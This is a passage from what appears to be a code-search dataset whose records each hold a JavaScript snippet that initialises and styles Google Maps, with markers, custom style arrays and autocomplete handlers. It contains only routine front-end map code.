google.maps.MarkerImage('images/marker.png',\n\t\t\t\tnew google.maps.Size(58,63),<!-- Width and height of the marker -->\n\t\t\t\tnew google.maps.Point(0,0),\n\t\t\t\tnew google.maps.Point(35,20)<!-- Position of the marker -->\n\t\t\t);\n\t\t\tvar companyPos = new google.maps.LatLng(43.270441,6.640888);\t\n\t\t\tvar companyMarker = new google.maps.Marker({\n\t\t\t\tposition: companyPos,\n\t\t\t\tmap: map,\n\t\t\t\ticon: companyImage, \n\t\t\t\ttitle:\"Our Office\",\n\t\t\t\tzIndex: 3});\t\n\t\t\tgoogle.maps.event.addListener(companyMarker, 'click', function() {\n\t\t\t\tinfowindow.open(map,companyMarker);\n\t\t\t});\t\n\t\t}\n\t\t\n\t\treturn false\n\t\n\t}//End ContactMap", "title": "" }, { "docid": "84207e3aaebac6b0221d774af6980ea1", "score": "0.6144816", "text": "function initMap(playerMap) {\n console.log(\"init map\");\n mapOptions =\n {\n zoom: playerMap.zoom,\n center: playerMap.center,\n mapTypeId: 'roadmap',\n disableDefaultUI: true,\n scrollwheel: false, \n disableDoubleClickZoom: true,\n draggable: false,\n minZoom: 4,\n maxZoom: 6,\n styles :\n [\n {\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.neighborhood\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n }\n ]\n };\n\n map = new google.maps.Map(document.getElementById('map'),mapOptions);\n\n var bounds = new google.maps.LatLngBounds(\n new google.maps.LatLng(0, 0),\n new google.maps.LatLng(40, 40));\n\n var srcImage = playerMap.mapImage;\n\n // The custom USGSOverlay object contains the USGS image,\n // the bounds of the image, and a reference to the map.\n overlay = new USGSOverlay(bounds, srcImage, map);\n\n drawMarkers(playerMap.markers);\n\n // bounds of the desired area\n var allowedBounds = new google.maps.LatLngBounds(\n new google.maps.LatLng(5, 5), \n new google.maps.LatLng(35, 35)\n );\n var lastValidCenter = map.getCenter();\n\n google.maps.event.addListener(map, 'center_changed', function() {\n if (allowedBounds.contains(map.getCenter())) {\n // still within valid bounds, so save the last valid position\n lastValidCenter = map.getCenter();\n return; \n }\n\n // not valid anymore => return to last valid position\n map.panTo(lastValidCenter);\n });\n}", "title": "" }, { "docid": "514ee1b3eecfebcd72a44c58fa8c9098", "score": "0.6140763", "text": "function initMap() {\n if($(\"#map\").length) {\n var latitude = $(\"#map\").data('latitude'),\n longitude = $(\"#map\").data('longitude'),\n zoom = $(\"#map\").data('zoom'),\n cordinates = new google.maps.LatLng(latitude, longitude);\n\n var styles = [ { \"stylers\": [ { \"hue\": \"#ff1a00\" }, { \"invert_lightness\": true }, { \"saturation\": -100 }, { \"lightness\": 33 }, { \"gamma\": 0.5 } ] }, { \"featureType\": \"water\", \"elementType\": \"geometry\", \"stylers\": [ { \"color\": \"#1e1e1e\" } ] } ];\n\n var mapOptions = {\n zoom: zoom,\n center: cordinates,\n mapTypeControl: false,\n disableDefaultUI: true,\n zoomControl: true,\n scrollwheel: false,\n styles: styles\n };\n var map = new google.maps.Map(document.getElementById('map'), mapOptions);\n var marker = new google.maps.Marker({\n position: cordinates,\n map: map,\n title: \"We are here!\"\n });\n\n }\n}", "title": "" }, { "docid": "078551cc554114be74b5964bd11af610", "score": "0.6120136", "text": "function setUpMap() {\n var text_color = '#757D70';\n var mapStyle = [\n {elementType: 'geometry', stylers: [{ color: '#FBEFDF' }]},\n {elementType: 'labels.text.stroke', stylers: [{ visibility: 'off' }]},\n {elementType: 'labels.text.fill', stylers: [{ color: text_color }]},\n {featureType: 'poi.business', stylers: [{ visibility: 'off' }]},\n {featureType: 'administrative.neighborhood', stylers: [{ visibility: 'off' }]}, \n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{ color: text_color }]\n },\n { \n featureType: 'poi', \n elementType: 'labels.icon', \n stylers: [{ visibility: 'off' }] \n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{ color: text_color }]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{ color: '#DADFA9' }]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{ color: text_color }]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{ color: '#D3CEC8' }]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{ color: '#FBEFDF' }]\n },\n {\n featureType: 'road', \n elementType: 'labels.icon', \n stylers: [{ visibility: 'off' }] \n }, \n {\n featureType: 'transit', \n stylers: [{visibility: 'off'} ] \n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{visibility: 'off'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#D3CEC8' }]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#FBEFDF' }]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{ visibility: 'off' }]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#D9E7E8' }]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: text_color }]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#D9E7E8' }]\n }\n ];\n\n // Disable all user control over map scaling, etc.\n var mapOptions = {\n zoom: 15,\n clickableIcons: false,\n disableDefaultUI: true,\n disableDoubleClickZoom: true,\n fullscreenControl: false,\n gestureHandling: 'none',\n keyboardShortcuts: false,\n mapTypeControl: false,\n panControl: false,\n rotateControl: false,\n scaleControl: false,\n streetViewControl: false,\n zoomControl: false,\n draggable: false,\n scrollwheel: false,\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n styles: mapStyle\n };\n\n map = new google.maps.Map(document.getElementById('map'), mapOptions);\n}", "title": "" }, { "docid": "d0829a160c425bd1cc7bd1de1b8b4806", "score": "0.6112193", "text": "function initializeMaps(){\r\n\tvar style = [{\r\n\t\t\t\tfeatureType: \"all\",\r\n\t\t\t\tstylers: [{saturation: -80}]\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\tfeatureType: \"water\",\r\n\t\t\t\tstylers: [{saturation: 40}]\r\n\t\t\t\t},\r\n\t\t\t\t{\r\n\t\t\t\tfeatureType: \"administrative.country\",\r\n\t\t\t\tstylers: [{visibility: 'off'}]\r\n\t\t\t\t}]\r\n\t\t\t\t\r\n\tvar myOptions = {\r\n\t center: new google.maps.LatLng(37,-102),\r\n\t zoom: 4,\r\n\t mapTypeId: google.maps.MapTypeId.ROADMAP,\r\n\t styles: style,\r\n\t disableDefaultUI: true,\r\n\t draggable: false,\r\n\t disableDoubleClickZoom: true\r\n\t};\r\n\t\r\n\tcontinental_map = new google.maps.Map(document.getElementById(\"continental\"),\r\n\t\tmyOptions);\r\n\t\r\n\t/* Add Listener to Map 'Changed Center' Event */\r\n\tgoogle.maps.event.addListener(continental_map, 'center_changed', \r\n\t\tfunction() { \r\n\t\t\treturnMaptoLocation(continental_map, myOptions.center, 3000)\r\n\t});\r\n\t\r\n\tmyOptions.center = new google.maps.LatLng(20.5,-157.5);\r\n\tmyOptions.zoom = 5;\r\n\t\r\n\thawaii_map = new google.maps.Map(document.getElementById(\"hawaii\"),\r\n\t\tmyOptions);\r\n\t\r\n\tmyOptions.center = new google.maps.LatLng(64,-154);\r\n\tmyOptions.zoom = 2;\r\n\t\r\n\talaska_map = new google.maps.Map(document.getElementById(\"alaska\"),\r\n\t\tmyOptions);\r\n\t\t\r\n}", "title": "" }, { "docid": "b7a5c36dbc38e830a572c0f5e08daeca", "score": "0.6106394", "text": "function map() {\n\t\tpickupMap = new google.maps.Map(document.getElementById('pickup-map'), {\n\t\t\tcenter: new google.maps.LatLng(53.346747, -6.262423),\n\t\t\tstyles: [{\n\t\t\t\t\"featureType\": \"administrative\",\n\t\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"color\": \"#444444\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"administrative.country\",\n\t\t\t\t\"elementType\": \"labels\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"administrative.country\",\n\t\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"administrative.province\",\n\t\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"administrative.locality\",\n\t\t\t\t\"elementType\": \"labels\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"administrative.locality\",\n\t\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"simplified\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"landscape\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"color\": \"#ffffff\"\n\t\t\t\t}, {\n\t\t\t\t\t\"lightness\": \"-5\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"landscape\",\n\t\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"saturation\": \"4\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"poi\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"poi.park\",\n\t\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"on\"\n\t\t\t\t}, {\n\t\t\t\t\t\"color\": \"#67b491\"\n\t\t\t\t}, {\n\t\t\t\t\t\"saturation\": \"18\"\n\t\t\t\t}, {\n\t\t\t\t\t\"lightness\": \"58\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"poi.park\",\n\t\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"color\": \"#13dc80\"\n\t\t\t\t}, {\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"poi.sports_complex\",\n\t\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"color\": \"#b84444\"\n\t\t\t\t}, {\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"road\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"saturation\": -100\n\t\t\t\t}, {\n\t\t\t\t\t\"lightness\": 45\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"simplified\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\t\"elementType\": \"labels\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"road.arterial\",\n\t\t\t\t\"elementType\": \"labels.icon\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"transit\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"transit\",\n\t\t\t\t\"elementType\": \"labels\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"simplified\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"transit\",\n\t\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"visibility\": \"simplified\"\n\t\t\t\t}]\n\t\t\t}, {\n\t\t\t\t\"featureType\": \"water\",\n\t\t\t\t\"elementType\": \"all\",\n\t\t\t\t\"stylers\": [{\n\t\t\t\t\t\"color\": \"#73f6ff\"\n\t\t\t\t}, {\n\t\t\t\t\t\"visibility\": \"on\"\n\t\t\t\t}, {\n\t\t\t\t\t\"saturation\": \"-27\"\n\t\t\t\t}, {\n\t\t\t\t\t\"lightness\": \"47\"\n\t\t\t\t}]\n\t\t\t}],\n\t\t\tzoom: 16,\n\t\t\tmapTypeControl: false,\n\t\t\tmapTypeControlOptions: {\n\t\t\t\tstyle: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n\t\t\t\tposition: google.maps.ControlPosition.BOTTOM_CENTER\n\t\t\t},\n\t\t\tzoomControl: false,\n\t\t\tzoomControlOptions: {\n\t\t\t\tposition: google.maps.ControlPosition.LEFT_TOP\n\t\t\t},\n\t\t\tscaleControl: true,\n\t\t\tstreetViewControl: false,\n\t\t\tstreetViewControlOptions: {\n\t\t\t\tposition: google.maps.ControlPosition.LEFT_TOP\n\t\t\t},\n\t\t\tfullscreenControl: false,\n\t\t});\n\t\tvar autooptions = {\n\t\t\ttypes: [\"establishment\"],\n\t\t\tcomponentRestrictions: {\n\t\t\t\tcountry: 'ie'\n\t\t\t}\n\t\t}\n\t\tvar pickupInput = document.getElementById('new-pickup-field');\n\t\tvar autocomplete = new google.maps.places.Autocomplete(pickupInput, autooptions);\n\t\tgoogle.maps.event.addListener(autocomplete, 'place_changed', function() {\n\t\t\tvar place = autocomplete.getPlace();\n\t\t\tvar pickupLatCoords = place.geometry.location.lat();\n\t\t\tvar pickupLongCoords = place.geometry.location.lng();\n\t\t\t$('#pickup-lat').val(pickupLatCoords);\n\t\t\t$('#pickup-long').val(pickupLongCoords);\n\t\t\t$('#map2').css('opacity', '1');\n\t\t\tmap2.panTo(place.geometry.location); //Pans to the selected pickupstore location and shows the icon.\n\t\t\tmap2.setZoom(18);\n //Places a marker in this location\n\t\t\tpickupMarkerMap = new google.maps.Marker({\n\t\t\t\ticon: {\n\t\t\t\t\turl: 'images/shoplocation.png',\n\t\t\t\t\tanchor: new google.maps.Point(0, 0),\n\t\t\t\t\tscaledSize: new google.maps.Size(40, 52)\n\t\t\t\t},\n\t\t\t\tposition: place.geometry.location,\n\t\t\t\tanimation: google.maps.Animation.DROP,\n\t\t\t\tmap: map2,\n\t\t\t\ttitle: 'Hello World!'\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "61ef08f5804973fb95a9d0285d2b7945", "score": "0.6104839", "text": "function initialize(d, styles, mapOptions){\n display = d;\n var styledMap = new google.maps.StyledMapType(styles, {name: \"Styled Map\"});\n\n map = new google.maps.Map(document.getElementById('map_canvas'),mapOptions);\n\n display.setMap(map);\n map.mapTypes.set('map_style',styledMap);\n map.setMapTypeId('map_style');\n}", "title": "" }, { "docid": "f2029b1049add72b8a88b4db92300958", "score": "0.60725176", "text": "function initMap (center, zoom) {\n console.log(document);\n var map = new google.maps.Map(document.getElementById('map'), {\n center: center,\n zoom: zoom,\n scrollwheel: false,\n disableDefaultUI: false,\n styles: [\n {\n featureType: 'all',\n stylers: [\n {visibility: 'off'}\n ]\n },\n {\n featureType: 'landscape',\n stylers: [\n {visibility: 'simplified'}\n ]\n },\n {\n featureType: 'water',\n stylers: [\n {visibility: 'on'}\n ]\n },\n {\n featureType: 'road.highway',\n stylers: [\n {visibility: 'simplified'},\n ]\n },\n {\n featureType: 'administrative.locality',\n stylers: [\n {visibility: 'simplified'},\n {clickable: true}\n ]\n }\n ]\n });\n\n return map;\n }", "title": "" }, { "docid": "c1647900f633ba26dab8f1e92046b573", "score": "0.6049439", "text": "function setupMap() {\n\t\tvar myOptions = {\n\t\t\tzoom : 4,\n\t\t\tcenter : new google.maps.LatLng(-34.397, 150.644),\n\t\t\tdisableDefaultUI: true,\n\t\t\tmapTypeControlOptions : {\n\t\t\t\tmapTypeIds : [ google.maps.MapTypeId.ROADMAP, 'kpsmartstyle' ]\n\t\t\t}\n\t\t};\n\t\t\n\t\tmap = new google.maps.Map(document.getElementById('newLocationMap'), myOptions);\n\n\t\tKPS.util.map.style(map);\n\t}", "title": "" }, { "docid": "54db4563f227e60b7ba44723d4c6c12e", "score": "0.60436076", "text": "function initMap() {\n // load the map\n map = new google.maps.Map(document.getElementById('map'), {\n center: {lat: 40, lng: -100},\n zoom: 4,\n styles: mapStyle\n });\n\n\n var mapStyle = [{\n 'featureType': 'all',\n 'elementType': 'all',\n 'stylers': [{'visibility': 'off'}]\n }, {\n 'featureType': 'landscape',\n 'elementType': 'geometry',\n 'stylers': [{'visibility': 'on'}, {'color': '#fcfcfc'}]\n }, {\n 'featureType': 'water',\n 'elementType': 'labels',\n 'stylers': [{'visibility': 'off'}]\n }, {\n 'featureType': 'water',\n 'elementType': 'geometry',\n 'stylers': [{'visibility': 'on'}, {'hue': '#5f94ff'}, {'lightness': 60}]\n }];\n\n map.addListener('click', function(e) {\n get_news(e.latLng);\n });\n}", "title": "" }, { "docid": "1125dc9e1b2f7c267f880418cad25886", "score": "0.6025014", "text": "function transportMap() {\r\n\r\n var myLatLng = new google.maps.LatLng(36.169941,-115.139830);\r\n var mapProp = {\r\n center: myLatLng,\r\n zoom: 11,\r\n scrollwheel: false,\r\n mapTypeId: google.maps.MapTypeId.ROAD\r\n };\r\n\r\n var map = new google.maps.Map(document.getElementById(\"transport-location-map\"),mapProp);\r\n var marker = new google.maps.Marker({\r\n position:myLatLng,\r\n icon:'images/transport-map-marker.png'\r\n });\r\n\r\n marker.setMap(map);\r\n\r\n map.set('styles',\r\n [\r\n {\r\n \"featureType\": \"administrative\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"saturation\": \"-100\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"administrative.province\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"visibility\": \"off\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"landscape\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"saturation\": -100\r\n },\r\n {\r\n \"lightness\": 65\r\n },\r\n {\r\n \"visibility\": \"on\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"poi\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"saturation\": -100\r\n },\r\n {\r\n \"lightness\": \"50\"\r\n },\r\n {\r\n \"visibility\": \"simplified\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"road\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"saturation\": \"-100\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"road.highway\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"visibility\": \"simplified\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"road.arterial\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"lightness\": \"30\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"road.local\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"lightness\": \"40\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"transit\",\r\n \"elementType\": \"all\",\r\n \"stylers\": [\r\n {\r\n \"saturation\": -100\r\n },\r\n {\r\n \"visibility\": \"simplified\"\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"water\",\r\n \"elementType\": \"geometry\",\r\n \"stylers\": [\r\n {\r\n \"hue\": \"#ffff00\"\r\n },\r\n {\r\n \"lightness\": -25\r\n },\r\n {\r\n \"saturation\": -97\r\n }\r\n ]\r\n },\r\n {\r\n \"featureType\": \"water\",\r\n \"elementType\": \"labels\",\r\n \"stylers\": [\r\n {\r\n \"lightness\": -25\r\n },\r\n {\r\n \"saturation\": -100\r\n }\r\n ]\r\n }\r\n ]\r\n ); \r\n }", "title": "" }, { "docid": "c5f55280f920b0083fdcddda06c5046e", "score": "0.6019324", "text": "function changeTheme() {\n function initMap() {\n if (google != undefined) {\n let location = { lat: -34.397, lng: 150.644 };\n map = new google.maps.Map(document.getElementById(\"map\"), {\n center: location,\n zoom: 8,\n });\n\n marker = new google.maps.Marker({\n position: location,\n map: map\n });\n }\n }\n\n document.body.classList.toggle('dark');\n if (theme == 'light') {\n theme = 'dark'\n } else {\n theme = 'light'\n }\n\n window.localStorage.setItem('theme', theme);\n}", "title": "" }, { "docid": "fbf070037e7d182453c341e562053c1a", "score": "0.60174596", "text": "function init() {\n // // Basic options for a simple Google Map\n // // For more options see: https://developers.google.com/maps/documentation/javascript/reference#MapOptions\n // var mapOptions = {\n // // How zoomed in you want the map to start at (always required)\n // zoom: 3.5,\n // // The latitude and longitude to center the map (always required)\n // center: new google.maps.LatLng(3.4372200, -76.5225000), // New York\n // // How you would like to style the map.\n // // This is where you would paste any style found on Snazzy Maps.\n // styles: [{\"stylers\": [{\"visibility\": \"off\"}]}, {\n // \"featureType\": \"water\",\n // \"stylers\": [{\"visibility\": \"on\"}, {\"color\": \"#2f343b\"}]\n // }, {\n // \"featureType\": \"landscape\",\n // \"stylers\": [{\"visibility\": \"on\"}, {\"color\": \"#703030\"}]\n // }, {\n // \"featureType\": \"administrative\",\n // \"elementType\": \"geometry.stroke\",\n // \"stylers\": [{\"visibility\": \"on\"}, {\"color\": \"#2f343b\"}, {\"weight\": 1}]\n // }]\n // , disableDefaultUI: true\n // };\n // // Get the HTML DOM element that will contain your map\n // // We are using a div with id=\"map\" seen below in the <body>\n // var mapElement = document.getElementById('map');\n // // Create the Google Map using our element and options defined above\n // var map = new google.maps.Map(mapElement, mapOptions);\n // // Let's also add a marker while we're at it\n // var marker = new google.maps.Marker({\n // position: new google.maps.LatLng(3.4372200, -76.5225000),\n // map: map,\n // title: 'Aquí, vé!'\n // });\n}", "title": "" }, { "docid": "24aad1d8d93b4972464e119119b1bc6f", "score": "0.6015867", "text": "function zoom_changed(){\r\n var zoom = map.getZoom();\r\n if ( zoom < minZoomLevel) map.setZoom(minZoomLevel);//placeChange();\r\n if (zoom<6){map.set('styles',STYLES_googleDefault);}\r\n else{map.set('styles',STYLES);} \r\n \r\n //alert(google.maps.MapTypeId.ROADMAP)\r\n if(zoom>15){if(map.getMapTypeId()===\"terrain\"){map.setMapTypeId(google.maps.MapTypeId.ROADMAP);}}\r\n else { if(map.getMapTypeId()===\"roadmap\"){map.setMapTypeId(google.maps.MapTypeId.TERRAIN);}};\r\n }", "title": "" }, { "docid": "e907ef2d0900d071c79cf3fe87c1c0f0", "score": "0.6003555", "text": "function initMap() {\n\n \t\t\n \t\tvar mapLatitude = 31.423308 ; // Google map latitude \n \t\tvar mapLongitude = -8.075145 ; // Google map Longitude \n\n\t var myLatlng = new google.maps.LatLng( mapLatitude, mapLongitude );\n\n\t var mapOptions = {\n\n\t center: myLatlng,\n\t mapTypeId: google.maps.MapTypeId.ROADMAP,\n\t zoom: 10,\n\t scrollwheel: false\n\t }; \n\n\t var map = new google.maps.Map(document.getElementById(\"contact-map\"), mapOptions);\n\n\t var marker = new google.maps.Marker({\n\t \t\n\t position: myLatlng,\n\t map : map,\n\t \n\t });\n\n\t // To add the marker to the map, call setMap();\n\t marker.setMap(map);\n\n\t // Map Custom style\n\t var styles = [\n\t\t {\n\t\t stylers: [\n\t\t { hue: \"#1f76bd\" },\n\t\t { saturation: 80 }\n\t\t ]\n\t\t },{\n\t\t featureType: \"road\",\n\t\t elementType: \"geometry\",\n\t\t stylers: [\n\t\t { lightness: 80 },\n\t\t { visibility: \"simplified\" }\n\t\t ]\n\t\t },{\n\t\t featureType: \"road\",\n\t\t elementType: \"labels\",\n\t\t stylers: [\n\t\t { visibility: \"off\" }\n\t\t ]\n\t\t }\n\t\t];\n\n\t\tmap.setOptions({styles: styles});\n\n\t}", "title": "" }, { "docid": "194f1739b1082ac748533dfbe6482a9d", "score": "0.5990853", "text": "function initializeMap() {\n\tconsole.log(userLat,userLong)\n\tvar mapOptions = {\n\t\tzoom: 18,\n //below centered the map based on a hard-coded set of coordinates, but I'd like to grab a visitor's location with cookies\n center: new google.maps.LatLng(userLat,userLong),\n mapTypeControl: false,\n scrollwheel: false,\n draggable: true,\n panControl: true,\n zoomControl: false\n };\n var map = new google.maps.Map(document.getElementById('taco-map'), mapOptions);\n var stylez = [\n {\n \t\"featureType\": \"all\",\n \t\"elementType\": \"labels.text.fill\",\n \t\"stylers\": [\n \t{\n \t\t\"saturation\": 36\n \t},\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 40\n \t}\n \t]\n },\n {\n \t\"featureType\": \"all\",\n \t\"elementType\": \"labels.text.stroke\",\n \t\"stylers\": [\n \t{\n \t\t\"visibility\": \"on\"\n \t},\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 16\n \t}\n \t]\n },\n {\n \t\"featureType\": \"all\",\n \t\"elementType\": \"labels.icon\",\n \t\"stylers\": [\n \t{\n \t\t\"visibility\": \"off\"\n \t}\n \t]\n },\n {\n \t\"featureType\": \"administrative\",\n \t\"elementType\": \"geometry.fill\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 20\n \t}\n \t]\n },\n {\n \t\"featureType\": \"administrative\",\n \t\"elementType\": \"geometry.stroke\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 17\n \t},\n \t{\n \t\t\"weight\": 1.2\n \t}\n \t]\n },\n {\n \t\"featureType\": \"landscape\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 20\n \t}\n \t]\n },\n {\n \t\"featureType\": \"poi\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 21\n \t}\n \t]\n },\n {\n \t\"featureType\": \"road.highway\",\n \t\"elementType\": \"geometry.fill\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 17\n \t}\n \t]\n },\n {\n \t\"featureType\": \"road.highway\",\n \t\"elementType\": \"geometry.stroke\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 29\n \t},\n \t{\n \t\t\"weight\": 0.2\n \t}\n \t]\n },\n {\n \t\"featureType\": \"road.arterial\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 18\n \t}\n \t]\n },\n {\n \t\"featureType\": \"road.local\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 16\n \t}\n \t]\n },\n {\n \t\"featureType\": \"transit\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#000000\"\n \t},\n \t{\n \t\t\"lightness\": 19\n \t}\n \t]\n },\n {\n \t\"featureType\": \"water\",\n \t\"elementType\": \"geometry\",\n \t\"stylers\": [\n \t{\n \t\t\"color\": \"#111111\"\n \t},\n \t{\n \t\t\"lightness\": 17\n \t}\n \t]\n }\n ];\n\n var mapType = new google.maps.StyledMapType(stylez, { name:\"Grayscale\" });\n map.mapTypes.set('Grayscale', mapType);\n map.setMapTypeId('Grayscale');\n\n function showInfoWindow(event){\n \tvar contentString = '<h4>' + this.title + '</h4><p>' + this.address + '</p><p><a 